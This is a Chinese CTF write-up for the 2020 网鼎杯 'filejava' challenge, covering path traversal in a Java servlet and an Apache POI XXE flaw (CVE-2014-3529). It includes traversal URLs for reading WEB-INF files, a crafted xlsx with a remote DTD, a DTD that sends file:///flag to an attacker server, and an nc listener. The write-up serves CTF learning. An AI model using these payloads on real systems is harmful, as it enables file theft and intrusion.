[网鼎杯 2020 青龙组]filejava解析
题目截图
思路
查看源码
1、查看源码,唯一有点用信息:./UploadServlet.
2、随便上传一个文件,用Burpsuite抓包,发现新的URL地址:/DownloadServlet?filename=a6c672c9-a74c-4701-abfc-97d68e3c681d_dog.png
3、Burpsuite拦截下载文件请求URL,访问DownloadServlet?filename=…/确定存在文件包含漏洞,并且泄露tomcat的绝对路径。
4、文件包含漏洞+知道tomcat绝对路径,第一个想到的是查看WEB-INF/web.xml,访问 DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/web.xml
或者 /DownloadServlet?filename=../../../web.xml
获取 web.xml
5、下载源码
DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/UploadServlet.class
6、使用jd-gui反编译检查源码
UploadServlet.java有对excel-***.xlsx文件的判断,猜测是Apache POI XML外部实体漏洞
excel和xxe的漏洞的结合,CVE-2014-3529
参考:https://www.jianshu.com/p/73cd11d83c30
7、构造上传文件
首先,本地创建excel-aaa.xlsx文件,修改后缀名为zip后右键解压文件
编辑文件[Content_Types].xml,在
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>与<Types xmlns=“http://schemas.openxmlformats.org/package/2006/content-types">
之间添加内容:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://远程服务器IP/file.dtd">
%remote;%int;%send;
]>
重新打包为zip文件后修改后缀名为xlsx
8、构造远程监控
构造 file.dtd
文件
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://远程服务器IP:7777?p=%file;'>">
将 file.dtd
上传到远程服务器
9、nc 监控
启动监控 : nc -lvvp 7777
如果 nc -lvvp 7777
报 nc: getnameinfo: Temporary failure in name resolution
,那么就使用 nc -lvnp 7777
一切准备就绪,上传excel-aaa.xlsx文件
10、查看nc监控,获取flag
- 感谢你赐予我前进的力量